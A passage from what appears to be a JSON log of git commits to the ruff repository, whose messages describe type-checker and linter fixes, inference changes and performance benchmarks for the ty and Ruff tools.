      "message": "[ty] Preserve caller type variables in nested union inference (#29611)\n\nConstraint-set assignability constraint collection can drop a caller\u0027s\ntype variable when it appears opposite a parameter typed as e.g. `T |\nint`. Currently this only impacts unions in a few specific positions\n(callable return types, protocol members), because those use\nconstraint-set assignability, whereas most unions still go through\n`infer_map_inner`.\n\nThe tests here currently use callable return type unions so as to\nexercise constraint sets. After #29236 all unions will go through this\npath, and these tests can be simplified.\n\nPassing `Callable[[], U | str]` to a parameter annotated as\n`Callable[[], T | int]` currently infers `T \u003d str` and rejects the call.\nThis change infers `T \u003d (U \u0026 ~int) | str` instead, preserving the\nportion of `U` that the concrete `int` arm does not cover.\n\nDepends on #29615 for union normalization during argument checking. This\nis a prerequisite to avoid false positives in #29236.\n\n## Ecosystem report\n\nAnalyzed head `1aa3be439aa189d201ec9dd238bfdaee6a4fa31d`. One existing\nignore in scipy-stubs becomes unnecessary because the generic\n`setdefault` override is now accepted. This is an expected improvement;\nno unresolved ecosystem regressions remain. [Full\nreport](https://github.com/astral-sh/ruff/pull/29611#issuecomment-6453277106)."
    },
    {
      "commit": "ca292c035a7541987c31c70df3b826a4f52ecc70",
      "tree": "ba87ce2e8f9fb8c09ae4ccfbcd526e98b1da50da",
      "parents": [
        "369d83de256871873630c23fae4d852933b66698"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Tue Oct 27 16:24:24 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 16:24:24 2026 -0700"
      },
      "message": "[ty] Remove covered exclusions from unions (#29615)\n\nRemove covered exclusions from unions so `(P \u0026 ~Q) | Q` simplifies to `P\n| Q`, including when a static supertype covers a gradual exclusion and\nwhen literal union members restore excluded literals.\n\nPreserve unrelated exclusions and recheck widened intersections against\nthe remaining union members. Keep exclusions of non-final nominal\nclasses when the covering type is `Hashable`, since subclasses can\ndisable hashing.\n\nCoverage uses strict subtyping with conservative inference-cycle\nhandling. Avoid unnecessary disjointness checks and allocations, and\nreject dynamic covering types and shared exclusions before creating\ncached relation queries.\n\nThis enables argument checking to recognize unions reconstructed from\nresidual inferred types in #29611.\n\nThis type-simplification improvement isn\u0027t free; it costs 5% on a few\nmicro-benchmarks. This seems like the lowest I\u0027m able to get the cost,\nat least without much more invasive changes. It doesn\u0027t seem to show up\nas a significant cost on real-world projects.\n\nThe [current CodSpeed\ncomparison](https://github.com/astral-sh/ruff/pull/29615#issuecomment-6333299680)\nreports a 5.22% aggregate regression across the same three\nmicrobenchmarks: `class_or_pattern_captures_90` at 4.54%,\n`large_union_narrowing` at 4.14%, and `gradual_intersection_negation` at\n6.97%. CodSpeed flags different runner types between base and head, so\nthese measurements include that uncertainty.\n\n## Ecosystem report\n\nAnalyzed head `9ec674243823580789419b326f2f0df75ceb090c`. Four\ntruthiness warnings disappear when removing a covered exclusion exposes\na direct dynamic union alternative, which that diagnostic ignores. The\nother diagnostic changes simplify or reorder types. All ecosystem\nchanges are expected. [Full\nreport](https://github.com/astral-sh/ruff/pull/29615#issuecomment-6349820846)."
    },
    {
      "commit": "369d83de256871873630c23fae4d852933b66698",
      "tree": "9e6d055e713187ddd8d19711817e54f6eed98e50",
      "parents": [
        "22c07fed17be9abc9011f7de603907667816c12e"
      ],
      "author": {
        "name": "Dhruv Manilawala",
        "email": "dhruvmanila@gmail.com",
        "time": "Wed Oct 28 01:28:51 2026 +0530"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 19:58:51 2026 +0000"
      },
      "message": "[ty] Combine constraints from repeated ParamSpecs (#29172)\n\nInfer a shared `ParamSpec` from all argument constraints. Comparable\ncallback signatures simplify regardless of argument order, consumer\nbounds no longer unnecessarily narrow returned callbacks, and callback\nconsumers can contribute an intersection of parameter lists.\n\n```py\nfrom collections.abc import Callable\nfrom typing import reveal_type\n\ndef choose[**P](left: Callable[P, None], right: Callable[P, None]) -\u003e Callable[P, bytes]:\n    raise NotImplementedError\n\ndef integer(value: int, /) -\u003e None: ...\ndef anything(value: object, /) -\u003e None: ...\n\nreveal_type(choose(integer, anything))  # (value: int, /) -\u003e bytes\nreveal_type(choose(anything, integer))  # (value: int, /) -\u003e bytes\n```\n\nAs [Carl\nexplains](https://github.com/astral-sh/ruff/pull/29172#issuecomment-6310115766),\na union of parameter lists does not correctly represent one `ParamSpec`\nthat must satisfy several callbacks. We conservatively reject\nincomparable lower bounds until we can construct a common signature.\nRemoving the existing union-valued expansion also temporarily rejects\nvalid calls with top-level union arguments; supporting those requires\nseparate argument union expansion.\n\nPreserving callable intersections through `ParamSpec` wrappers is\nhandled in [#29623](https://github.com/astral-sh/ruff/pull/29623).\n\nSupport for intersection-valued parameter lists in `functools.partial`\nis deferred to [#29479](https://github.com/astral-sh/ruff/pull/29479).\n\nFixes astral-sh/ty#4804."
    },
    {
      "commit": "22c07fed17be9abc9011f7de603907667816c12e",
      "tree": "963886d5eef2295c700564100e56e209f4888288",
      "parents": [
        "731a26b88f5c81d4c46991686673b34435f7bfdf"
      ],
      "author": {
        "name": "Anshaj Kumar",
        "email": "anshajkumar112@gmail.com",
        "time": "Wed Oct 28 00:56:00 2026 +0530"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 19:26:00 2026 +0000"
      },
      "message": "[`flake8-no-pep420`] Document preview behavior (`INP001`) (#29764)\n\n## Summary\n\nINP001\u0027s preview-mode check for missing `__init__.py` files in\nnamespace-package directories with nested packages is now documented.\nEmpty directories and directory trees with no Python files are not\nflagged.\n\n## Test Plan\n\ngit diff --check passing. Documentation generation stalled while syncing\nthe Rust 1.99 toolchain; no tests run.\n\n---------\n\nCo-authored-by: Brent Westbrook \u003cbrentrwestbrook@gmail.com\u003e"
    },
    {
      "commit": "731a26b88f5c81d4c46991686673b34435f7bfdf",
      "tree": "e1527f87c6a1cb76ef6da015e86e98454a7dc46c",
      "parents": [
        "abee0da3f2ccf12f322ac50817b621d32753f860"
      ],
      "author": {
        "name": "David Peter",
        "email": "sharkdp@users.noreply.github.com",
        "time": "Tue Oct 27 18:23:54 2026 +0100"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 18:23:54 2026 +0100"
      },
      "message": "[ty] Django: support abstract models (#29744)\n\n## Summary\n\nDjango does not add an automatic primary key to abstract models. Skip\nsynthesizing one when the model declares `abstract \u003d True`.\n\ncloses https://github.com/astral-sh/ty/issues/4822.\n\n## Test Plan\n\nNew Markdown tests"
    },
    {
      "commit": "abee0da3f2ccf12f322ac50817b621d32753f860",
      "tree": "04d8cb54a29ff1ce0c0b233dd3797c7a807c784e",
      "parents": [
        "691b60a3f3bc0c28318ee866747da8c7f0af3d3a"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Tue Oct 27 09:18:53 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 09:18:53 2026 -0700"
      },
      "message": "Accept a bare raise before a semicolon (#29761)\n\n## Summary\n\nA bare `raise` can end at a semicolon. For example, Python accepts this\nhandler and re-raises the current exception.\n\n```python\ntry:\n    work()\nexcept ValueError:\n    raise; report()\n```\n\nThe parser tried to read the semicolon as the start of an exception\nexpression and reported a syntax error. We now recognize both a newline\nand a semicolon as terminators for a bare `raise`."
    },
    {
      "commit": "691b60a3f3bc0c28318ee866747da8c7f0af3d3a",
      "tree": "1cd0864f0e0001d1ca2ab9cae89d689b02a8d3ba",
      "parents": [
        "fbf83e2268b833326bb102dcc5e6830b20b0891d"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Tue Oct 27 07:30:58 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 07:30:58 2026 -0700"
      },
      "message": "[ty] Fix a panic when checking truthiness in a loop (#29759)\n\n## Summary\n\nTy could panic on `assert predicate` inside a loop where `predicate`\nstarts as a lambda and a later iteration rebinds it to a class. When\ncycle recovery added the class to the operand type, ty looked up its\nmetaclass to determine its truthiness. That lookup could introduce a new\ninference cycle while Salsa was recovering the first one.\n\nReachability now evaluates the predicate from the operand types that\nexpression inference has already normalized. Outside loops, it caches\nthe result so repeated walks of the same condition can reuse it. Inside\na loop, a condition can depend on an assignment it guards, so the caller\nreads the inferred operands directly. Expression inference no longer\nstores predicate truthiness or recomputes it during recovery.\n\nThe 163-project ecosystem run produced identical diagnostics. Checking\nisort took 291 ms, up from 248 ms on the base revision, which gives back\nsome of the speedup from #29706. The average timing factor across\nprojects was 1.02×. CodSpeed found no significant changes among the 214\nbenchmarks it compared. [Ecosystem\ndiff](https://dqhfo45wdv0ek.cloudfront.net/ruff/pull-requests/29759/ty-ecosystem/40467940782/1/diff.html)\n·\n[Timings](https://dqhfo45wdv0ek.cloudfront.net/ruff/pull-requests/29759/ty-ecosystem/40467940782/1/timing.html)\n·\n[CodSpeed](https://github.com/astral-sh/ruff/pull/29759#issuecomment-6435864937)\n\nCloses https://github.com/astral-sh/ty/issues/4834."
    },
    {
      "commit": "fbf83e2268b833326bb102dcc5e6830b20b0891d",
      "tree": "673774f7678de54c2882222afdd669235e023587",
      "parents": [
        "8aeb8e2ebc09714ba6c77d9f48c84536f7814e3d"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 23:14:59 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 23:14:59 2026 -0700"
      },
      "message": "[ty] Avoid replaying conditions in long boolean expressions (#29754)\n\n## Summary\n\nChecking Home Assistant’s Anthropic integration took 283.1 ms before\nthis change and 252.6 ms after (10.8% less time, with a 95% paired\ninterval of 7.8–13.7% less). Each of 24 blocks ran `ty check\nhomeassistant/components/anthropic` twice with the baseline build and\nonce with the changed build, in balanced, randomized order. All runs\nemitted the same 41 lines of diagnostics. The full Home Assistant\ntimings did not resolve this patch’s individual contribution.\n\nThe Anthropic SDK’s synchronous and asynchronous streaming functions\neach test 53 event names in one `or` expression. At each operand, ty\nused to reapply every condition leading up to it, recording 1,378\nconditions per expression. The continuation already carries those\nearlier conditions, so adding just the preceding operand’s condition\nbrings the count down to 52.\n\nChecking a file that imports the two original function bodies went from\n95.9 ms to 19.3 ms. Changing just those two `or` chains to tuple\nmembership checks made both builds take about 12 ms. Toggling prefix\nreplay in a single release executable also reproduced the integration\nimprovement (270.1 ms to 237.5 ms).\n\nAn assignment expression (`:\u003d`) can introduce a new binding partway\nthrough a chain. Those chains keep the earlier conditions so the\nreassigned name gets the same reachability information."
    },
    {
      "commit": "8aeb8e2ebc09714ba6c77d9f48c84536f7814e3d",
      "tree": "0299b8f200a5d0f5ba2461f1d39e303e044a6bb4",
      "parents": [
        "18c5d27c41b359d7c049f4d92695a5f7fef65990"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 21:48:18 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 21:48:18 2026 -0700"
      },
      "message": "[ty] Reuse exception checkpoints when a new place is read (#29750)\n\n## Summary\n\nCold CLI checks of Home Assistant’s KNX integration took 14% less time,\nand checks of its Reolink integration took 4.5% less time. Each row\naverages 12 paired runs of `ty check\nhomeassistant/components/\u003cintegration\u003e` with the project’s dependencies\ninstalled. Both integrations emitted the same diagnostics before and\nafter.\n\n| Integration | Before | After |\n| --- | ---: | ---: |\n| KNX | 389.5 ms | 334.9 ms |\n| Reolink | 396.0 ms | 378.1 ms |\n\nThe KNX decoder has a long sequence of branches inside a `try` block.\nReading a name like `GroupValueRead` for the first time used to trigger\nanother snapshot of the bindings visible to the exception handler.\nRestoring an earlier snapshot already gives that name the same undefined\nstate. We now leave the checkpoint’s binding revision alone on that\nfirst read and advance it when the place gets a definition.\n\nIn isolation, a cold CLI check importing the original\n`xknx.APCI.from_knx` body went from 84.5 ms to 36.4 ms (57%). For\n`reolink_aio.Host.map_channel_json_response`, it went from 41.9 ms to\n32.4 ms (23%)."
    },
    {
      "commit": "18c5d27c41b359d7c049f4d92695a5f7fef65990",
      "tree": "05b53f87788b3bc8682881839ff74f9ab704b741",
      "parents": [
        "c9caebb2db3219b43b3de271c5671a4d197fbd43"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 21:21:55 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 21:21:55 2026 -0700"
      },
      "message": "[ty] Preserve mapping capture types on narrowed subjects (#29749)\n\n## Summary\n\nAfter a truthiness check on a dictionary, ty inferred `object` for\nvalues captured by a mapping pattern and reported an error on valid\ncode.\n\n```python\ndef f(d: dict[str, int]) -\u003e None:\n    if d:\n        match d:\n            case {\"a\": c}:\n                c.bit_length()  # `c` is an `int`.\n```\n\nThe truthiness check narrows `d` to an intersection. We previously\nwalked the receiver’s class hierarchy to recognize `dict.get` and\n`Mapping.get`, but an intersection has no single class to start from. We\nnow use the definition of the bound `get` method that member lookup\nalready resolved. An inherited `dict.get` or `Mapping.get` preserves the\nvalue type, while a custom `get` can still return a different type.\n\nThe ecosystem run added one `no-matching-overload` error in `cwltool`.\nAfter an earlier case handles mutable sequences, ty previously inferred\n`list[Unknown]` for an enum’s symbols and accepted the call to\n`str.join`. A valid CWL enum has string symbols, but `{\"type\": \"enum\",\n\"symbols\": [1]}` also satisfies the Python annotation and matches the\npattern. The new error flags a call that would raise `TypeError` for\nthat input. [cwltool\nsource](https://github.com/common-workflow-language/cwltool/blob/ad9ba5b32003b9bc6db092cd6c684265bacba199/cwltool/main.py#L236-L245)\n\nCloses https://github.com/astral-sh/ty/issues/4831."
    },
    {
      "commit": "c9caebb2db3219b43b3de271c5671a4d197fbd43",
      "tree": "c82f09f0f5901c3eaf932f75a159a67d0ebcd6d2",
      "parents": [
        "ba65abf8ba7bfbcc059f7fb9712be5ba9cab6abc"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 20:08:57 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 20:08:57 2026 -0700"
      },
      "message": "Defer value comparisons for repeated dictionary keys (F601, F602) (#29739)\n\n## Summary\n\nLinting a file with 8,192 dictionaries nested 64 levels deep went from\n44.66 ms to 10.85 ms (4.1× faster). On 755 files from the CPython\n3.12.10 standard library, the difference was within measurement noise,\nboth with the default rules and with only F601 and F602 enabled.\n\nF601 and F602 used to build a `ComparableExpr` for every dictionary\nvalue. In `{\"a\": {\"a\": {\"a\": 0, \"b\": 1}, \"b\": 1}, \"b\": 1}`, every key is\nunique within its own dictionary, yet Ruff walks the inner values again\nat each outer level. We now record where each key first appeared and\nbuild the set of comparable values when we report the first repeat. A\nlater occurrence still gets an unsafe fix if its value matches any\nearlier value for the same key.\n\n| Dictionary depth | Before | After |\n| ---: | ---: | ---: |\n| 1 | 15.70 ms | 14.80 ms |\n| 8 | 14.90 ms | 11.67 ms |\n| 32 | 27.35 ms | 11.21 ms |\n| 64 | 44.66 ms | 10.85 ms |\n\nEach row contains the same number of two-key dictionaries. Times are\nmedians from 30 alternating pairs of single-core runs with `--no-cache\n--select F841,F601,F602`. On a separate set of dictionaries with\nrepeated literal and variable keys, the diagnostic output and unsafe-fix\ndiffs matched byte for byte."
    },
    {
      "commit": "ba65abf8ba7bfbcc059f7fb9712be5ba9cab6abc",
      "tree": "d9cb180e490e0d66b7628c258ddb035a7f93a452",
      "parents": [
        "fb2f9218793e3b0e979175d43d88dcac791e92d6"
      ],
      "author": {
        "name": "astral-automations-bot[bot]",
        "email": "305554984+astral-automations-bot[bot]@users.noreply.github.com",
        "time": "Mon Oct 26 20:14:27 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 20:14:27 2026 -0400"
      },
      "message": "Bump version to 0.17.3 (#29745)\n\nCo-authored-by: astral-automations-bot[bot] \u003c305554984+astral-automations-bot[bot]@users.noreply.github.com\u003e\nCo-authored-by: Brent Westbrook \u003c36778786+ntBre@users.noreply.github.com\u003e"
    },
    {
      "commit": "fb2f9218793e3b0e979175d43d88dcac791e92d6",
      "tree": "b30851b161cd47e0c18e8c7a0a4a3c8821137d9d",
      "parents": [
        "d1812878d5f81af6f5810d193ebc44413d1b21cc"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 16:54:26 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 16:54:26 2026 -0700"
      },
      "message": "[ty] Fix narrowing of strings and integers compared with enum members (#29743)\n\nA plain string can compare equal to a `StrEnum` member. Previously, `if\nvalue \u003d\u003d Color.RED` narrowed a `str` to the enum and allowed\n`value.name`, even when `value` was the string `\"red\"`. The same problem\naffected integers compared with `IntEnum` members.\n\nKeep the matching `str` or `int` type in equality checks, tuple\nmembership tests, and `match` value patterns. A value already known to\nbelong to the enum can still narrow to a specific member.\n\nCloses astral-sh/ty#4827\n\n## Test plan\n\nRan the reproducer with Python 3.13. The plain values `\"a\"` and `1`\nentered all three kinds of branches, and `.name` on the string raised\n`AttributeError`. With both default and strict equality settings, ty now\nreveals `str` and `int` in those branches and reports the invalid\n`.name` access.\n\n## Ecosystem report\n\nApprise loses a false warning about converting a plain string to an enum\nmember. pip gains an assignment error where typeshed requires\n`VerifyMode` and CPython also accepts the plain integer `2`. Both\nchanges are expected. [Analyzed head\n`e0388646c9f0d4ac09dfea732b05ca2d84839950`](https://github.com/astral-sh/ruff/commit/e0388646c9f0d4ac09dfea732b05ca2d84839950)\n· [Full ecosystem\nreport](https://github.com/astral-sh/ruff/pull/29743#issuecomment-6428093437)"
    },
    {
      "commit": "d1812878d5f81af6f5810d193ebc44413d1b21cc",
      "tree": "2382b0125e968b13d24f2d8368a7777c9156124d",
      "parents": [
        "07872adbafa7c00f42f1174d8aa3c3e324033009"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 16:50:07 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 16:50:07 2026 -0700"
      },
      "message": "[ty] Index nominal union alternatives (#29196)\n\nThis PR implements an optimization for type relation checks of a nominal\nclass against a union, by doing a preliminary pass on the union to\neliminate any union arms that can\u0027t possibly match, using a cached\nmapping from nominal type to the union elements that could possibly\nmatch it.\n\nThis particularly improves tuple pattern narrowing, which can repeatedly\ncompare narrowed intersections against the same original union.\n\nWhen multiple indexed classes match, the checker visits the union in its\noriginal order. It also uses the full traversal when collecting\ndiagnostic details or when a gradual base could make the source\nassignable to an unrelated class.\n\nRelated to astral-sh/ty#4676.\n\n## Test plan\n\nThese local measurements compare the index at `cc85ba9178` with its\ndirect parent `e139fbd6e8`, before the rebase onto `6840db323c`. Each\nbuild used the standard fat-LTO release profile and ran `ty check` with\none worker and Python 3.12. Timings include process startup. The build\norder varied across blocks, warmups were excluded, and the percentages\nare median paired wall-time changes.\n\n| Workload | Parent | With index | Paired change |\n| --- | ---: | ---: | ---: |\n| Nominal tuple, 10 cases | 204.3 ms | 181.6 ms | −10.6% |\n| Nominal tuple, 16 cases | 788.2 ms | 667.9 ms | −16.6% |\n| Nominal tuple, 32 cases | 6.02 s | 4.75 s | −21.2% |\n| Generic tuple, 32 cases | 14.14 s | 13.99 s | −1.1% |\n| Assignments spread across 96 arms | 74.6 ms | 67.1 ms | −10.2% |\n| Assignments matching the first arm | 65.3 ms | 67.3 ms | +2.0% |\n\nThe assignment workload makes 1,536 calls after negative `isinstance`\nchecks. Compared with a redundancy-only index, spreading matches across\nthe 96 arms reduced time from 73.8 ms to 67.1 ms, a 9.9% improvement\nacross 24 paired blocks with a win in every block. First-arm matches and\nunnarrowed arguments were about 2% slower than the redundancy-only index\nby paired median, with results varying by execution order. The generic\n32-case control had only three blocks and showed little change."
    },
    {
      "commit": "07872adbafa7c00f42f1174d8aa3c3e324033009",
      "tree": "1f14e21406679cd0d203a614cc5501a9fd670b4d",
      "parents": [
        "95888b2edfaa34d0159732856b1466cf53b33e64"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 15:34:24 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 23:34:24 2026 +0100"
      },
      "message": "[ty] Preserve string literals in comparisons with `LiteralString` (#29741)\n\nGiven `v \u003d \"1\"`, ty used to narrow `v` to `Never` inside `if v !\u003d\n\"42\".upper()`. This hid the type error in `v + 1`, even though the\nbranch runs.\n\n`\"42\".upper()` has type `LiteralString`, so its exact value is unknown.\nThe comparison can narrow that operand to a known value or exclude that\nvalue. It now preserves the type of the concrete string or string-valued\nenum member on the other side.\n\nFixes https://github.com/astral-sh/ty/issues/4826.\n\n## Test plan\n\nRan the reported example under CPython 3.13 and confirmed that the\nunequal branch raises `TypeError`. Checked the `!\u003d` branch and the\n`else` branch of `\u003d\u003d` with strict equality semantics enabled and\ndisabled. In all four cases, ty reveals `Literal[\"1\"]` and reports\n`unsupported-operator` for `v + 1`."
    },
    {
      "commit": "95888b2edfaa34d0159732856b1466cf53b33e64",
      "tree": "6c17375d27eb093c61527fd6e111769fe1f65b67",
      "parents": [
        "3c8166b683805aa89557b0739f5b9918ad58ea6d"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 15:21:49 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 15:21:49 2026 -0700"
      },
      "message": "[ty] Preserve narrowing after guarded match subject captures (#29558)\n\nWhen a match case captures the subject under its own name and its guard\nfails, later cases now narrow that capture. Previously, those cases\ncould retain a wider type because narrowing targeted only the binding\nread before the match.\n\nRetain bindings that capture the entire subject under its original name,\nincluding `as` patterns and OR alternatives. Captures of extracted\nvalues and assignments made by guards remain distinct from the saved\nsubject.\n\nFixes astral-sh/ty#4761."
    },
    {
      "commit": "3c8166b683805aa89557b0739f5b9918ad58ea6d",
      "tree": "ab6e77464b84a2b852a1fb8555afa128c1d57516",
      "parents": [
        "3fd20e08598ac345b8afd524d3f7086456e4e758"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 15:19:28 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 15:19:28 2026 -0700"
      },
      "message": "[ty] Fix hang when negating recursive unions of instance types (#29652)\n\nFixes a hang when a recursive alias combines positive and negative\nreferences, such as `type A \u003d list[A | ~A] | list[~A]`.\n\nRetain negated recursive aliases whose union members resolve to nominal\ninstance types, so mapping does not repeatedly unfold the alias into\nitself. Other union members still undergo normalization to preserve\nliteral exclusions and positive constraints.\n\nFixes https://github.com/astral-sh/ty/issues/4799.\n\n## Test plan\n\nChecked the original reproducer and equivalent spellings using `Not[A]`\nand `Intersection[object, Not[A]]` with timeout-bounded debug binaries.\nThe patched checker completes on all three; the original reproducer\nhangs on the baseline."
    },
    {
      "commit": "3fd20e08598ac345b8afd524d3f7086456e4e758",
      "tree": "93cdf0e0274259a8a30ad6f9aeff40f7cf7706a3",
      "parents": [
        "2f0a29ece1f1a539c65c0671c04c76bb886219fe"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 15:18:25 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 15:18:25 2026 -0700"
      },
      "message": "[ty] Preserve generic callback specializations during return refinement (#29667)\n\nReturn refinement introduced in #28303 can discard valid generic\ncallback specializations because eager subtyping cannot infer\ncallback-local type variables. This incorrectly narrows wrappers around\n`sum` to its bool/literal-integer overload.\n\nUse constraint-based subtyping when revalidating the inferred\nalternatives. This allows generic callbacks to match through\nspecialization while retaining strict subtype checks for gradual\nevidence.\n\nFixes astral-sh/ty#4810.\n\n## Test plan\n\nChecked the original `sum` example at the parent of #28303 and at its\nmerge commit: it passes before #28303 and fails afterward. It passes\nwith this change."
    },
    {
      "commit": "2f0a29ece1f1a539c65c0671c04c76bb886219fe",
      "tree": "a1733dec8fa252bc4709a18c0fee431f912d0607",
      "parents": [
        "60f104a1a2ec4e980198ff54c38ba6fe7045b29f"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 15:11:17 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 15:11:17 2026 -0700"
      },
      "message": "[ty] Record predicate truthiness alongside expression inference (#29706)\n\n## Summary\n\nA full ty check of isort went from 204 to 172 ms in the ecosystem run.\nAcross all 163 projects, the average timing factor was 1.00×. Local\nchecks of two isort revisions on macOS took 16–23% less time. [Ecosystem\ntimings](https://dqhfo45wdv0ek.cloudfront.net/ruff/pull-requests/29706/ty-ecosystem/40342132072/1/timing.html)\n\nIn `if bool(stop()):`, the call to `bool` has type `bool`, but neither\nbranch can run if `stop()` returns `Never`. Ty uses the operand types to\nwork this out. In a loop, those types can depend on an assignment\nguarded by the same condition. Computing types and truthiness in\nseparate queries can make ty revisit that loop repeatedly.\n\nWe now record each predicate’s evaluation context when we index it.\nExpression inference computes the predicate’s truthiness alongside its\noperand types and recomputes it if cycle recovery widens them. Ordinary\nconditions and match guards both read that result.\n\nThe only warning that changed consistently across ecosystem runs was in\npsycopg. It now lists the `int` class separately even though `type[str |\nAny | int]` already includes it. [Ecosystem\ndiff](https://dqhfo45wdv0ek.cloudfront.net/ruff/pull-requests/29706/ty-ecosystem/40342132072/1/diff.html)"
    },
    {
      "commit": "60f104a1a2ec4e980198ff54c38ba6fe7045b29f",
      "tree": "6ab416d7f36e04e793113bec61a766a77590cac7",
      "parents": [
        "207ec3affeb118fce03a65f9333959157e228312"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 15:10:48 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 15:10:48 2026 -0700"
      },
      "message": "[ty] Honor @override on overload implementations in stubs (#29470)\n\nIn stub files, ty required `@override` on the first overload even when\nan implementation was present, while overload validation required the\ndecorator on the implementation. Honor `@override` on the implementation\nwhenever one exists, matching Pyright and Pyrefly. Continue using the\nfirst overload when there is no implementation.\n\nThe implementation also becomes the location for\n`invalid-explicit-override` diagnostics in these stubs.\n\nFixes https://github.com/astral-sh/ty/issues/4742.\n\n## Test plan\n\n- Checked the reported `.pyi` example, an ellipsis-only minimized\nexample, and a stub without an implementation using Python 3.13 with all\nrules enabled; all passed without diagnostics.\n- Compared decorator placement with mypy 2.4.0, Pyright 1.1.414,\nbasedpyright 1.40.2, and Pyrefly 1.4.0. Pyright, basedpyright, and\nPyrefly honor the implementation\u0027s decorator in stubs; mypy rejects stub\noverload implementations. All four accept the decorator on the first\noverload when no implementation exists.\n\n## Ecosystem report\n\nFor head `5690fe75333fb6755662fda0cec8d6a192905d2b`, the ecosystem run\nremoves 27 false `missing-override-decorator` errors from pyochain stubs\nwhose overload implementations already have `@override`. All changes\nwere reproduced and classified as expected; CI passed and no ecosystem\nconcern blocks review. [Full ecosystem\nreport](https://github.com/astral-sh/ruff/pull/29470#issuecomment-6260122936)."
    },
    {
      "commit": "207ec3affeb118fce03a65f9333959157e228312",
      "tree": "51fbe3dd4c4debeefc434019b4cac85bd5e62e7b",
      "parents": [
        "6840db323c1dccca3a9e631d1ed19f4e1ae25a49"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Mon Oct 26 13:34:01 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 13:34:01 2026 -0700"
      },
      "message": "[ty] Add diagnostic baseline support (#27636)"
    },
    {
      "commit": "6840db323c1dccca3a9e631d1ed19f4e1ae25a49",
      "tree": "1745fce55945d3611a755a93a7553848089c3f5a",
      "parents": [
        "002d4c8f1df6161d6834a3324f8b5df37e6385da"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 12:07:38 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 12:07:38 2026 -0700"
      },
      "message": "[ty] Speed up match narrowing over large unions (#29733)\n\n## Summary\n\nReachability and capture inference both walk alternatives such as `case\nA(value\u003dv) | B(value\u003dv)` from left to right. They can compute the same\ntype remaining after an alternative fails. For a wide union, each\nsubtraction distributes an exclusion over the union members and\nnormalizes the resulting union of intersections.\n\nCache `subject \u0026 ~definitely_matched` by its ordered operands and\nprogram. The query applies the exclusion directly to the subject so the\nintersection builder can discard impossible branches as it distributes.\n\nRefs astral-sh/ty#4815. The benchmark is in #29726.\n\n## Test plan\n\nCompared optimized dev builds on Apple Silicon, reversing the order of\nthe two builds in alternating blocks. Criterion results are medians of\nsix process estimates with ten samples each. CLI results are medians of\nfive runs per build after warmup.\n\n| Input | Parent | This change | Time change |\n| --- | ---: | ---: | ---: |\n| Criterion, 45 classes | 76.8 ms | 57.5 ms | −25% |\n| Criterion, 90 classes | 235.4 ms | 